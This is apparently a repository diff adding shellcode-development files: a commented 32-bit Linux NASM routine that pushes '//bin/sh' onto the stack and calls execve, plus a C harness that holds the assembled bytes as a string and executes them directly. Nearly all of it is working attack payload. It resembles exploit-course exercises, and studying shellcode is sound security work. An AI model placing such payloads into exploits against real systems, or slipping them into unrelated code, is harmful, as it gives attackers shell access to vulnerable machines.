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Author: kunalvarudkar

Shellcode/Execve-stack/Execve-stack

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+; Execve-stack.nasm
+; Author: Kunal Varudkar
+
+; Purpose: Developing /bin/sh shellcode using stack
+
+
+global _start
+
+section .text
+
+_start:
+
+
+	; push Null dword on the stack
+	xor eax, eax
+	push eax
+
+	; push //bin/sh in reverse order to stack (strlen=even)
+	push 0x68732f6e
+	push 0x69622f2f
+
+	; Moving //bin/sh to ebx register
+	mov ebx, esp 
+
+	; push Null on stack
+	push eax
+
+	; pointing esp to edx (envp[]=NULL)
+	mov edx, esp
+
+	; push the address of //bin/sh stored in ebx
+	push ebx
+
+	; point the top tof the stack to ECX[argv[]]
+	mov ecx, esp
+
+	; call syscall
+	mov al, 0xb  ; or 11
+	int 0x80

Shellcode/Execve-stack/Execve-stack.nasm

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+#include<stdio.h>
+#include<string.h>
+
+unsigned char code[] = \
+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
+
+
+main()
+{
+
+	printf("Shellcode Length= %d\n", strlen(code));
+	int (*ret)() = ( int (*)())code;
+
+	ret();	 
+
+}